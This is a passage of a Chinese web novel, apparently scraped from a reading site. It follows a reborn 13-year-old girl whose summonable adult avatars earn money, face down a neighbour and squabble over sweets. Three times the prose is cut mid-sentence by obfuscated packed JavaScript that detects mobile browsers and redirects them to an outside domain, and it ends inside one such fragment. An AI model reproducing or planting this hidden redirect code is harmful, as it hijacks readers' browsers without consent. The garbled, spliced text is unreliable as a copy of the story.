‘裴雪归’的体温会稍低一点，玉石般温凉。 ‘钟和熹’的体温更高一点，触碰时很像是浸入热乎乎的热水袋。 苏尧托腮想：嗯，一个适合夏天挨着清凉，一个适合冬天搂着取暖？ 13.第 13 章 晚间秋日渐凉，穿堂风钻进室内，激起一阵颤栗。 苏尧消磨掉‘裴雪归’人物卡的最后几分钟时长。 她密切观察着‘裴雪归’消失后，‘钟和熹’的躯体反应。 果然，牵绊在大脑里的紧绷感消失无踪。 深根植入躯体的本能，为“成年男性身份”带来了非同寻常的感受，苏尧为之困扰的同时，不可避免地觉得有趣。 就像是……为生活带来了另一种感受？ 说真的，上辈子她的生活里可从不会有类似的经历：深感危机，警惕不安，背生芒刺……猛兽与猛兽共享领地而蔓延出的生理性不适，是苏尧从没有体验过的新奇滋味。 她开始好奇，将来解锁剩余两张‘人物卡’时，‘他们’会不会更剧烈的反应了。 零点刷新‘人物卡’。 苏尧检查了一遍脑海里的‘人物卡’升级条件。 【金钱：已挣1023元 （1000￥额度已使用，余23￥额度）】 用于解锁‘裴雪归’的1000￥额度清空。 ‘人物卡3号’的解锁条件出现：10万￥挣钱值。 同时，已解锁的‘人物卡’各自出现对应的“社会融入度升级条件”。 撇去已知的‘钟和熹’解锁条件：1000￥额度解锁1%社会融入度。 ‘裴雪归’的解锁条件要求更高：10000￥额度解锁1%社会融入度。 翻了十倍的升级要求让原本昏昏欲睡的苏尧瞬间清醒。 她盯着人物卡界面，耸了下肩头。 意料之中。 目前，对于一个13岁的未成年人而言，想在短时间内解锁、升级所有人物卡，无疑是难以跨越的天堑。 苏尧叹了口气。 她苦中作乐地想，还好“解锁”“升级”需要的只是“挣钱值”——单纯的额度，而非现实里具有流通价值的金钱。 倘若真是需要1000块钱来解锁‘裴雪归’，苏尧一定会犹豫很久。 带着纷乱的想法，翻了个身，她抵不过困意，沉沉睡着。 · 周五。时间飞快，一下子就到下午。 课间休息，班主任告知大家下周的军训安排：“一共三天，周一到周三，学校请了教官们，大家做好防晒，不要中暑……” 初一的军训没那么严格，穿夏季校服即可。新生们的校服已经准备好，班主任让班上个子高的男生们去教务处搬运取回：“放学后大家不要走，要分发校服，下周一开始穿。” 吴葶葶和后桌交流着什么防晒霜最好用。 “我妈妈从港岛买回来的，安乃晒！”她说。 “我用碧*柔，也蛮好用呢。” 苏尧想起来自己还没买防晒霜。 不慌，周末出门再买。 周五时间过得很快，放学还是和周忱瓷一块走。 周忱瓷家近，两人挥手告别后，苏尧继续走。 边走边想，周末该如何安排‘钟和熹’‘裴雪归’。 多了一个成年男性身份，虽说只有三小时，但也够用来干活。 苏尧决定让‘钟和熹’‘裴雪归’去网吧接威客网的翻译工作。 两天时间，6小时时长，充分利用上，一个人力足以挣到700+，两个人力总计1400+。 这周的短期目标是攒够1000￥挣钱值，升级‘钟和熹’1%社会融入度。与此同时，测试社会融入度与‘人物卡时长’是否存在正向联系。 升级1%社会融入度后，‘钟和熹’的时长会有所变化吗？ 苏尧的大脑陷入活跃状态。 家里的记录本上写满一排排与‘人物卡’相关的数值公式，苏尧恍惚间仿佛回到了二十年后策划游戏时的数值工作，测量游戏平衡…… 再一晃神，路边的臭豆腐摊、烧烤摊散发出垂涎欲滴的香味。 和二十年后截然不同的街景，拉扯苏尧回到现实。 她饿了。 中午学校食堂的饭不算好吃，苏尧决心弥补一下自己。 于是，不假思索，掏了口袋里的零钱，买了让她饥肠辘辘的街边零食——没那么健康，但是好吃呀！ 年幼的苏尧无数次地路过香味扑鼻的路边摊，强压着饥饿与嘴馋，黯然地埋头跑过，从不敢多看几眼。她的生活费太过有限，不足以支撑购买它们。 久而久之，她习惯了。 习惯了路过这条街，屏息闭嘴，快速奔跑，这样就不会闻到香味，就不会让香味勾引肠胃，发出咕咕的响声……上了高中，通了公交线路，苏尧不再步行经过这条路，不再需要因为嘴馋做出“闭目塞听”的举动。 现在的苏尧不一样。 有能力挣钱的‘成年人身份’大大增加了她生活的底气，哪怕父母下个月的生活费没及时到账，苏尧都不会害怕。 她买了几串香喷喷的鱿鱼串，花了15元。 第一口总是最香的。吃完一串，苏尧觉得肚子半饱，她留了两串准备回家吃，给‘钟和熹’、‘裴雪归’——她从不亏待自己。 距离家还有两百米，穿过小巷，小卖部老板在给顾客算钱：“收你50，找你13。” 黄乐乐不在。老板冲苏尧点了点头，不冷不热地关心：“回来啦？” 苏尧对小卖部老板没那么讨厌。 他女儿黄乐乐说话难听，但老板、老板娘人不错，对待街坊邻居和和气气。 跋扈嚣张的女儿干了坏事，他们夫妻俩总要给她擦屁股，跟在身后赔笑脸。 苏尧没有笑，回得客气：“嗯。” 她想到家里的洗衣粉快用完了，顺路买一袋回去：“给我拿一袋雕牌。” 小卖部老板拿了一袋1kg的，按照习惯算了苏尧成本价：“11块。” 一旁还没走的客人诧异道：“你昨天还算我13呢？” 小卖部老板尴尬了一下，“我给丫头的是快过期的。” 苏尧不动声色，听着客人三言两语被糊弄走。老板没解释“过期”的事，把洗衣粉递给她，收了钱，“我听乐乐说，你上周去摆摊挣钱啊？” 黄乐乐肯定没说‘钟和熹’，不然老板不会是这个反应。 老板：“是不是你爸妈没给打钱啊？你实在缺的话，我给你打个借条，等你爸妈打钱了再还……就是别和乐乐说，她听了会生气。” 语气算不上动听。 中年男人说话不讲究委婉，直白极了。 苏尧拎着洗衣粉，小卖部的白炽灯明亮，她迅速一瞥，洗衣粉封口处的日期是新的，根本不是他说的“临期货”。 她无可奈何地垂了垂眼睫毛。 前几日，她还在和他女儿吵闹呢，怒斥着黄乐乐可恶的“孤儿论”，冷漠地讥讽回怼。黄乐乐见过她和‘钟和熹’的摆摊，愣是没有向父亲说她和异性呆在一块……苏尧不明白她为什么不说。 按照黄乐乐的脑回路，诬赖她和‘钟和熹’是早恋的关系，肯定是最容易泼脏水，让她父母抱有偏见的方式。 苏尧不去想黄乐乐的目的，她只应了她父亲的好意：“叔，不用了，我爸妈有打钱。” “噢噢。”老板挠了下脸，他看了眼她，“我家乖女脾气不好，说话难听……” 又是这样。 苏尧并不意外小卖部老板会主动替女儿道歉。 毕竟上辈子，她就听过几次。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15169879|164481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 小升初的八月尾声，苏尧被黄乐乐阴阳怪气是“孤儿”“爹妈不要的小孩”；中考以全县前50的名次考上一中高中部，黄乐乐叉着腰在巷头说她只会死读书，就算考上高中又怎样？她爸妈还是不爱她！ 初中、高中的六年里，黄乐乐的恶意曾扑面袭来数次。 小卖部老板总是替他女儿道歉。 闷葫芦般一声不吭的苏尧默默忍受着黄乐乐的恶意，又沉默地接受了小卖部老板的歉意。 她对黄乐乐的羡慕，源于老板夫妻俩对黄乐乐从始如一的溺爱，哪怕她不是乖小孩，哪怕她没有漂亮的成绩单，哪怕她高中毕业后未婚先孕。 13岁的苏尧在被黄乐乐骂“孤儿”的几日后，小卖部老板看到她路过，喊她，给了她几根冰棍，替他女儿说对不起。 之后几年，黄乐乐数次表达过对苏尧的不满，老板依然按照旧时习惯，给苏尧算商品成本价——街坊邻居对独立生活的小孩的些微怜悯与照顾，便是如此了。 那么，现在的苏尧要接受他替黄乐乐道歉吗？ 13岁的苏尧必须接受，别无他法。 她的生活还得依赖这些街坊邻居们。万一出了什么事，能赶得到的不是远在外省打工的父母，而是距离最近的邻居们。 现在的情况不同。 苏尧拎着洗衣粉，平静地应小卖部老板：“叔，我知道你想替黄乐乐道歉。” 老板“诶”了声，话接话，“是啊，她就是这个臭脾气，也不晓得像谁……” “但我不想接受。” 老板愣住。 他看着面前的苏家小姑娘，感到陌生。 她用那一双格外澄净明亮的眸子看他，并不严厉，也不恼怒地开口。 “做错事的是黄乐乐，做父母的如果只会替她道歉，不会教她向人道歉……”苏家小姑娘的声音很沉很亮，湖泊般具有力量，“那么，当父母的太失败了，不是吗？” “你能替她道歉一时，能道歉一世吗？” 老板蓦地脸热，羞愧到无话可说。 “况且，我现在可不是没有人关心照顾的小孩。” “下次，黄乐乐再骂我，我会找人的。就像你上次护着她那样。” 老板脸上的热意还没褪去，就看到门口走来一个英俊、高大的男人，他面色沉静，大步走进，如同威风凛凛的骑士。 英俊男人比他高了很多，足足一米八多近一米九的个子。室内灯光下，影子都比别人长了一大截。 他似乎没有注意到两人之间的微妙气氛，只抬眉，弯了弯嘴角，“尧尧，怎么还没回家？”看起来像是迟迟等不到孩子归家，所以出门来找的大家长。 苏尧将洗衣粉递给他。 他摘了她身后的书包，拎在手上。 “我和老板聊几句，”语气是欢快的，幸福的，“哥，帮我拎着。” 小卖部老板惊觉，苏尧身上的陌生感是什么发生了改变——不仅仅是她的语气，还有…… 小姑娘瞧着干干净净。 脸颊饱满，衣袖雪白，头发梳得漂亮，完全是有人疼有人管，有人悉心照顾的模样。 小卖部老板讷讷无言。 他说不出话来，目送着两人离去，心中只剩下一个念头： 被人在意的孩子，是不好欺负的。 万一欺负了，你就得有心理准备，她的家长一定会来讨公道。 老板心绪复杂，为苏尧高兴：虽然苏尧爹妈不靠谱，但她身边有家长照顾了，是好事啊。 他又有点丧气：苏尧多懂事，道理懂得比大人还多，说话清楚有逻辑……她说的没错，闺女再不管，难不成，他黄大宇还能替她道一辈子的歉吗？ 14.第 14 章 ‘钟和熹’背着书包，拎着洗衣粉，踱步走在没有监控的小路上。 苏尧对这附近十分熟悉，她充分把握了每一条道路的“电子眼”情况。 傍晚时分，巷子拐角深处暗沉无人，使用‘人物卡’，恰好在主身体的50米范围内。 ‘钟和熹’的出现，震慑了小卖部老板，她很满意这个效果。 剩下的200米路程，苏尧大步走着，心情愉快。 周五的下午，永远是学生党最期待的时刻。 初一开学第一周，没什么作业。 下周一到周三军训，各科老师不为难学生，只简单地留了背诵作业、课后习题。 苏尧的记忆力很好。‘裴雪归’在厨房里烧饭的间隙，她坐在院子里大声读书，念了两遍，过去的记忆幡然反复，再合上书，流利流畅地背完一整篇课文，中途没有丁点停顿卡涩。 背诵完毕，检查新发的夏季校服，发现做工一般。有颗扣子摇摇欲坠。 ‘钟和熹’拿了针线盒，把扣子重新缝了一遍。 就在这时，家门口传来敲门声：“苏尧，开个门，给你拿点吃的！” 苏尧从椅子上跳了下来。她开了门，迎着暗淡昏黄的路灯，看到邻居家大叔，身后缀着两个小尾巴。 “你阿姨炸了点年糕，趁热吃。”邻居大叔把碗递了过来，苏尧连忙说谢谢。 小儿子叽叽喳喳地探头探脑：“苏尧，你哥哥们呢？” 大儿子比弟弟大了三岁，今年上初三，听到这话，翻了个白眼，“笨蛋，眼睛睁大点，她哥哥不是就在苏尧身后吗？” 有人敲门，苏尧去开门。 ‘钟和熹’放下手里的针线盒，立刻跟了出来。 ‘他’和邻居们不熟悉，再加上家里有‘裴雪归’在，同一领域下，很难再有愉悦放松的面部表情。 不过，对于邻居们，还是很礼貌客气的。 “你们好。” 邻居家今天才有空正式认识苏尧家的“新家人”，他们的“新邻居”。 “我是程建国，”大叔伸手和‘钟和熹’握了握，“之前没听说苏尧还有哥哥呢，是为了苏尧上学来的吗？” 小县城，工作机会不多。 这样英俊好看的成年人，按道理是不会拘束于一个小城市的。 除非是为了谁留下来。 程建国看到青年舒展眉眼，他的音色低沉，悦耳动听，不晓得是不是错觉，隐约能听出几分矜贵，“不是特意为了她留下来的。” “我们互相照顾彼此。” 邻居第一反应是，这个年轻人在照顾苏尧的自尊心。 他怀着这个念头，观察他的面部表情，错愕地做了自我纠正：年轻人的表情是认真的，不掺谎言。 程建国开始犹豫，他想：或许真如他所说，互相照顾彼此？ 苏尧没注意到邻居大叔的内心戏。 她吃着热乎乎的炸年糕，邻居阿姨特意撒了点红糖浆，一口下去又甜又黏牙。 她忙着吃，不说话，暂时让‘钟和熹’负责社交。 三言两语中，苏尧倏忽察觉，‘钟和熹’并不是非常擅长和人聊天——‘裴雪归’出现以后，‘人物卡’的个性逐渐明显，设定属性的表达趋向鲜明。 意识操纵，并非全神贯注，间或走神。此类无法全面覆盖意识的情况下，躯体将毫无保留地展示出‘钟和熹’原生的、冷淡的一面。 她曾经为乙游男主马甲们设定的文字属性，实体化、具象化于现实。 好在，不管怎么样，成年人的社交戴上温和礼貌的笑容，总是能顺利达成目的——更别说，‘钟和熹’顶着一张熠熠生辉的俊脸。 哪怕是同性，都会原谅‘他’的不善言辞。 说着说着，程家小儿子程阳问：“苏尧，昨天接你的那个哥哥呢？我姐说他也很帅！” 要遭。 苏尧吃着年糕，无声地叹息。 ‘钟和熹’绷紧了脸，他很平静地让了半个身位，指了指身后：“在厨房。” 程翔比弟弟的洞察能力强一些，他察觉到面前的大帅哥语气的变化，伸手拽拽程阳，觉得他可能要挨打。 苏尧立刻插话，缓和了气氛，解释说：“他在烧饭。” 她匆匆忙忙地咽下嘴里的食物，笑眯眯地对邻居大叔道：“阿姨做的真好吃，谢谢叔叔阿姨。你们真好，总是记得给我送东西吃。” 邻里之间的照顾是很温情的。 这些细小的、柔软的温暖，支撑着苏尧闯荡过懵懂青涩、满心惶恐的年纪。 她一直很感恩街坊邻居们的照顾。 程建国笑呵呵：“你阿姨顺手多做点，不费事的。” 他还觉得自己考虑不周呢，“我拿少了，你家还有两个大人，下次给你们多准备一点。” 苏尧连忙摆手。 小孩子被邻居照顾着送一两顿饭很正常，家里有两个成年人在，还要送饭，那太说不过去了。 ‘钟和熹’收敛表情，客客气气回他：“谢谢您，不用特意给我们多拿，尧尧够吃就行。” 社交完毕，邻居大叔带着两个小尾巴回去了。 苏尧留了几块年糕给‘钟和熹’‘裴雪归’吃。 还没吃晚饭，她的心就已经被甜蜜的炸年糕覆盖，暖烘烘的。 …… 周六。 苏尧醒得早，她收拾好卫生，没有使用‘人物卡’——今天要根据计划，让‘钟和熹’‘裴雪归’去网吧接威客网的翻译活儿。 时长必须得节省着用。 九点出门，步行到网吧，和熟悉的前台美眉要了两张临时卡。 前台认识她：“小妹妹，今天又来玩电脑呀？” 上周见过的大帅哥会来吗？网吧前台蠢蠢欲动，没办法，人都好色爱美嘛，大帅哥的长相真的让人大饱眼福。 她一边搭话，一边给她开卡。 苏尧：“我不玩哦。” 前台诧异：“那怎么开了两张？” “我有两个家人要用。” 她简单说了下，接过前台开的卡，看了下机位，苦恼地叹了口气，请前台姐姐帮忙：“这张卡换个位置，好吗？” 前台小心翼翼问：“怎么了？” 前台特意给苏尧挑了两个烟味不那么大的位置呢。 苏尧抿紧嘴唇，她犹豫了一会，告诉她：“我的家人……关系不好。” 前台：“？” 她怀着困惑，给苏尧换了距离很远的两个位置——一北一南，隔了十多个机位，泾渭分明。 很快，杏眼小妹妹的“家人”从外头进来了，一前一后，间隔很远。 前台美眉眼前一亮又一亮！ 英俊大帅哥！上周见过的！ 漂亮大帅哥！没见过的！新的！ 前台简直要晕陶陶了：“妹妹……你家里人怎么都长得这么好看啊？” 她盯着他们一前一后地拿了电脑临时卡，到各自机位前，面色冷峻地开机。 前台趴在桌前，看着还没走的苏尧，脸红红的。她用烤肠贿赂杏眼小妹妹，央求她给哥哥们的联系方式，一如既往，暂时还没有手机的苏尧说不好意思。 “真抱歉，我哥哥们都没有手机……” 她可怜巴巴地双手合十。 前台立刻觉得自己是在为难小朋友，心软了，“没有就算啦……” 苏尧特意挑了上午的时候来网吧：烟味少，对健康影响不大。 两个成年人身份接翻译活儿，她可以找个地方玩——主身体太年轻了，不可以太辛苦。 苏尧很爱惜自己的身体，她不想像上次那样在网吧里呆了好几个小时，敲键盘敲得手疼，浑身烟味地回家。 ‘钟和熹’‘裴雪归’的时长只有3小时，但也够用了。 苏尧打算每个‘人物卡’留十五分钟，以备不时之需。 她吃着前台姐姐硬塞给她的烤肠，走出网吧大门。 周末，晴空万里，就该逛大街！ · 过了十一点，浸淫网吧多日的常客们陆陆续续来了。 前台给他们开了机子，有人嚷嚷着键鼠坏了，让她来换个。她抄起座椅下边的预备键鼠，应道：“来了，等下！” 刚好，换键鼠的位置距离帅哥之一很近。 前台把新键鼠给那个常客，装作不经意的样子，路过他身边。 她先是看到了屏幕上的一长串洋文。 紧接着，是俊丽帅哥微蹙眉心，盯着屏幕，蓝光幽幽印进他的瞳孔，更显神秘。他的长相太好看了，一看就是偶像剧里温柔又迷人的男主角，会用笑容迷倒观众的那种！ 看完他，前台又望了对面远处的另一个帅哥——上周见过的英俊青年。 她发现，英俊帅哥的情绪没有上周来时高昂。这真的很明显，只要是人都能看得出来。 尤其是，上周她还特意观察过帅哥的情绪，陶醉于网吧里居然来了这么一号吸睛、迷人的大帅哥……前台只要没在忙，就忍不住悄悄看他。 今天，前后落座，两个成年人没有交汇过一点眼神。 小妹妹买临时卡时，央她把两个位置的距离拉远了…… 她想到小妹妹说的那句“关系不好”。 如果是普通人，前台不会有这么多好奇心，有这个闲心观察他们。 偏偏，‘钟和熹’‘裴雪归’的长相太过出众，放在人群里，根本没法儿忽视。 她情难自禁地驻足停在俊丽美男身旁几秒，直到新客人嚷嚷问前台去哪了，他要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15169880|164481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开机子，才依依不舍地离开。 下午一点半。 该离开了。 苏尧在外头玩够了，她吃了中饭，还买了点过去没怎么尝过的零食。 回网吧，和前台姐姐挥挥手，小声交流：“我们要走啦。” 前台：“今天不多待会吗？” 她依依不舍。网吧这乌烟瘴气的地儿，有网瘾的年轻人们大多不修边幅，没几个清爽干净的。 今天见到的这两个帅哥，足够前台清爽大半天。 苏尧摇了摇头，“他们的工作结束了。” 前台恍然，原来帅哥在看的洋文内容是在工作啊。 “我们明天还来。” 苏尧冲她笑，她比上辈子的自己要更懂得社交，不再是腼腆羞涩，半天说不出一句话的小姑娘，“姐姐，明天上午再给我们安排个远点的座位，好吗？” ‘钟和熹’‘裴雪归’的距离太近，会影响翻译状态。今天的位置离得远，对‘他们’的影响不大。 她给前台姐姐塞了一根路边卖的糖葫芦，前台受宠若惊地收了，连声答应：“行，明天姐姐给你安排好位置。” 四下无人，前台还偷偷给她塞了一张2小时的员工福利临时卡。 她冲她眨眨眼：“免费的。” 苏尧眼睛亮亮，她收起靠着“甜言蜜语”得来的临时卡，笑嘻嘻点头：“谢谢姐姐！明天见~” 三小时时长，用了两小时四十分，预留五分钟从网吧合理地离开。 距离前台近的‘裴雪归’先离座，‘他’沉静地走到苏尧身旁，冲脸红的前台颔首。 ‘他’的手很自然地揉了揉苏尧蓬松的发顶，亲昵温柔，是很疼爱的家人才会有的动作。 ‘钟和熹’大步走来，前台发现自己的观察的确没错：他看起来心情很不爽。 为什么？ 她真的很好奇！ 眼瞅着冷漠大帅哥走到苏尧右侧，三人并肩，她冲苏尧挤了挤眼，随便找了个话题，“妹妹，你俩哥哥是不是都还没吃饭呀？” 苏尧：“是呢，一会回家吃！” ‘成年男性身份’确实饥肠辘辘，不过，成年人还是比未成年人要能忍耐的。 她提前准备好补充能量的糖——刚才逛街时买的曼妥思！热带缤纷果味，脆皮糖壳吃起来甜蜜，嚼内里软糖稍嫌费劲黏牙，但很上瘾。苏尧一口气能吃好几颗。 口袋里摸索摸索。 前台看着杏眼圆脸小妹妹把一长条曼妥思拆开。一句话都没对身旁两个高大漂亮的成年人说。她连头都没抬，就知道他们的手掌在哪里，径自在空气里碰到了他们的大手，各自一手塞了几颗。 柔软的、孩子气的手掌，指甲盖是浅粉色的，健康的月牙盈盈地填了每一个甲面。 臭脸英俊大帅哥下意识地微微低下头，弯了腰，将糖果接过。他同样一句话都没说，连缤纷果味的颜色都不挑，低垂着乌黑浓密的眼睫，沉默地含了一颗。 温驯俊丽大帅哥的动作同样不慢，他的卷发在室内灯光是蜜糖般的浅褐色，他接了糖果，极快的一刻凝滞，然后，他摊开手心。原本温和的脸，霎时冰封。 前台眼力很好，她清楚看到苏尧给臭脸大帅哥的一共有四颗——红色、橙色、黄色、黄色。 而他的手心里赫然只有三颗。 “……” 苏尧默默地感受着‘裴雪归’躯体里涌动的烦躁与不爽。乙游男主马甲们无法和平相处的“针锋相对”，涌动在狭窄的三人间隙中。 唉！ 苏尧不说话，她瞧了‘裴雪归’的脸色一眼，以主身体的角度来看，‘他’的表情真的好冰冷——能把‘人物卡’的温柔属性弄成这副模样，她苦中作乐，真的有点本事。 可谁能想得到，原来少了一颗糖果就会有这个反应呀。 昨天，买鱿鱼串，苏尧很公平，各自留了一串给‘钟和熹’‘裴雪归’；傍晚，邻居大叔送年糕来，她也是公平公正，留了偶数的年糕，和平分配。 她一视同仁地呵护着主身体和‘人物卡’。毕竟，感知这世界的都是她，没有什么可以偏颇的。 苏尧真没料到，原来“不公平”，会让‘人物卡’产生不好的反应。 最后，叹着气，重新掏了一颗，放在‘另一个自己’的手心里。 补上了数量。 ‘裴雪归’的状态好了，她没那么难受了。 前台从头看到尾，目送着三人离开的背影。 杏眼小妹妹被两个大人一左一右地保护着，并肩行走，她的脚步轻快，彻底消失在视线范围内。 前台美眉仿佛看完了一个家庭剧，发出感慨：“还真是关系不好的家人啊。” “连妹妹给的糖果少了一颗都会斤斤计较呢。” 15.第 15 章 曼妥思事件，让苏尧差点忘了正事。 将‘人物卡’收回，回家，她拿了记账本，算今天入账多少。 和预计的差不多，翻译日结近700。 周末还有一天，明天再来一次，足够满足这周短期目标：1000￥挣钱值升级‘钟和熹’的1%社会融入度。 入账的金额和清晰的数值让苏尧心生愉快。 唯一的问题就是，这两天她得忍受‘人物卡’不能处理家务的麻烦。 好在，熬熬就过去了。 周日，同样在网吧呆了两小时四十分。 威客网的翻译工作耗时耗力，都是低质量、千字低的日结单子。如果是主身体来干，一定会很累；得亏是‘成年人身份’来做，‘人物卡’的精力充沛，足够应付，唯一的问题只有烟味太重，常人没法忍受长时间待着，‘人物卡’也是，在网吧里总是蹙起眉头。 意识操纵，苏尧一边用主身体吸溜着珍珠奶茶，一边安慰自己：很快就结束了！ 又是700元进账。 苏尧看着人物卡界面的文字变化： 【金钱：已挣2479元 （1000￥额度已使用，余1479￥额度）】 她迅速勾选升级‘钟和熹’的1%社会融入度。 【金钱：已挣2479元 （2000￥额度已使用，余479￥额度）】 人物卡显示晚上12点后刷新变化。 苏尧按捺不住激动。她真的很期待升级后的‘钟和熹’！ 她翘着嘴角，在奶茶店里买了两杯规格一样，小料品类一样的珍珠奶茶，决定给剩下15分钟时长的‘人物卡们’吃。 奶茶店店长一边塑封着奶茶杯盖，一边和她聊天：“妹妹，明天上课哦，你作业做完没？” 友好的大人问话，是对讨人喜欢的孩子会用的玩笑语气。 上辈子的苏尧没有这样的经历。 一个害羞怯懦的孩子在人群里是黯淡的、浅灰色的，很容易被忽略的。她不会是人群中的焦点，不会是陌生人友善玩笑的对象。 更别提在奶茶店被店长这样问了。 13岁的苏尧没有喝过奶茶，她根本没机会经历类似的对话。 “做完啦。”苏尧答。 初一哪有什么难度高的作业，该背诵的内容全部都背了，该做的习题半小时就搞定（周五晚上，主身体加钟和熹、裴雪归，三管齐下）。 店长将包装好的奶茶递给她：“真棒！” 她冲店长露出甜甜的笑容。 周日的下午，总是带着点遗憾的——学生总是想着自己还有什么没玩，作业还剩多少没写完…… 苏尧不这么觉得，她期待着周一到来。 拎着奶茶，顺路去小百货商场里买了只国产防晒霜——spf50+，大抵有虚标，防晒系数不如其他牌子，好在军训只有三天，不会晒得太厉害。 回到家，独立收拾家务、整理书包，把夏季校服叠起来以便明天一早伸手就能拿到。 ‘人物卡’各自剩的15分钟时长，没用来干家务，苏尧要留着以防万一。 深夜时分，洗漱完毕，她顶着吹完的头，坐在椅子上，让‘裴雪归’灵活的手指梳理着头发，扎辫子。 新的人物卡在各方面都迥异于‘钟和熹’，梳头发上似乎也是如此。 苏尧比较了一下，发现‘裴雪归’的指腹柔软，贴近她的头皮时，会让她像猫咪一样想咕噜——不是把自己动物化，而是…… 她在迷迷糊糊中，想到自己曾经设想过的乙游男主特性： 裴雪归有一双修长、柔软的手，和他牵手，像是握住了一捧春泉，温凉、舒适。 她很少有机会和人亲密接触。 现在，被‘另一个自己’梳头，扎起漂亮的发型……不知不觉中，胸膛里盈满了舒适惬意。 苏尧本来还想着熬到零点，看看‘钟和熹’人物卡升级后的变化。 她没熬到，‘裴雪归’的手法太舒服，困意汹涌袭来，主身体连连打哈欠。 剩下几分钟时长的人物卡‘裴雪归’留有意识，迅速扎好最后几步，将头发整理得饱满精致。然后，将自己抱上床，盖好被子。 沾枕就睡。 一觉睡到早上。 …… 清晨，第一件事就是打开人物卡界面，实体化‘钟和熹’。 1%社会融入度为‘钟和熹’带来了30分钟的时长富余。 与此同时，苏尧发现‘钟和熹’身上多了一块腕表。她握着腕表看了半天，认出这是多年后某奢牌的龙年限定。国内消费者对龙虎生肖有着狂热喜爱，龙年限定货币炒到高价，连带着龙年设计出众的限定奢侈品都被炒到有市无价。 成年男性的手臂坚实，手腕青筋微凸，戴上腕表，平添许多贵气。 “社会融入度”的提高，带来了意想不到的实物……苏尧歪脸想了一会，觉得这就像是游戏里的“氪金”获取“昂贵装备”。 她开始期待后续升级会带来怎样的变化了。 升级‘钟和熹’带来的利益无疑是巨大的，1000￥额度升级1%社会融入度，多了半小时的时长，以及一只昂贵的腕表。 腕表的变现不易，苏尧没法解释为什么自己能有渠道获取现在还没有发售的奢侈名表，出售名表后续带来的麻烦远超过卖表获取的金钱。 因此，她不打算将腕表流入二手奢侈品市场。哪怕变卖腕表带来的金钱有一定概率记入“挣钱值”，加速解锁‘人物卡’。 况且，苏尧总觉得‘钟和熹’人物卡初始自带的西装和腕表搭配最为合适。她舍不得卖。 ‘裴雪归’人物卡初始自带的衬衫、长裤，同样价值不菲，穿过一次后洗净，苏尧不太舍得穿，决心等有重要场合时换上。她收起来放在衣柜里了。 将腕表戴在‘钟和熹’的手上，收拾好今天军训需要的东西，背着书包，出发上学！ 邻居大叔已经在驾驶座上，摁着喇叭催促不省心的孩子们：“程翔你快点！你弟今天军训要早点到！” 小儿子程阳扒着车窗，怒斥哥哥：“快点呀！我要迟到了！” 大女儿程巧不忍直视地叹了口气，倾身开了车内音乐，闭目养神，眼不见为净。 苏尧坐在‘钟和熹’自行车后座上，搂着‘年长者’的腰，和邻居一家挥手说再见。 程阳被程翔拖累得差点赶不上军训第一天，等红绿灯时心焦如火，嘀嘀咕咕：“早知道刚才苏尧哥哥骑自行车，我就蹭一下了，呜，今天赶不上，班主任会骂的！” 苏尧在3班，学校根据小升初成绩专门集中挑选的“优班”；程阳成绩平平，中不溜丢，随机安排在了6班。 6班班主任是个冷脸秃头中年男人，脾气不好，教学成绩不错，去年带的初三毕业班重点高中上线率是同届班级排名前3。 程翔：“人家自行车后座哪里够坐两个，除非苏尧另一个哥哥有车接你！” 轿车适合孩子多的情况下，一家出行。 大多时候，小县城里的四轮车速度是比不过横冲直撞的摩的、电动车的，就连自行车有时候都会比四轮快——它们敢闯红灯走小路窜捷径，四轮车可不敢，司机还要考虑会不会被监控拍到扣分呢。 说到这，程阳来劲了：“上周五是苏尧另一个哥哥接送吧？不是今天这个酷酷、帅帅的哥哥。” 程巧细声细气地加入对话，她对温润如玉的‘裴雪归’有好感：“是。” 提到苏尧家的两个哥哥，不免要说到她的家庭：“老爸，你说苏尧爸爸妈妈为啥不愿意留一个照顾她呢？” “大人要挣钱嘛。”程建国敷衍地应，他盯着红绿灯，跟上前方的车流。 程巧撇了撇嘴，对爸爸的应付挺不满意。她比苏尧大了五岁，算是观察她小小一个人独立长大的邻里之一，比起程翔、程阳，了解得更多。 “爸爸瞎说呢，”她不高兴地道，“她爸妈说是挣钱，也没见到过年拿回来多少吧，老房子多少年没翻修，一块出去打工的陈叔叔家都盖小洋楼了，尧尧家还是那副样子。” “我听老妈说，他们闲了就去工地里摸牌，剩不下什么钱。” 程建国瞟了一眼义愤填膺的大女儿，没吱声。 程翔、程阳：“那苏尧平时有钱花吗？” 都打牌赌掉了，苏尧一个人生活该怎么办？ 程建国清了清嗓子：“还是有的，工地里发钱。他们会先给苏尧打几百块钱。” “那还行。”脑子简单的程阳满意地点了点头。 程翔有所察觉，望了眼姐姐。果然，程巧哼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15175667|164481||http|test|mini|href|location''.split(''|''),0,{})); () { 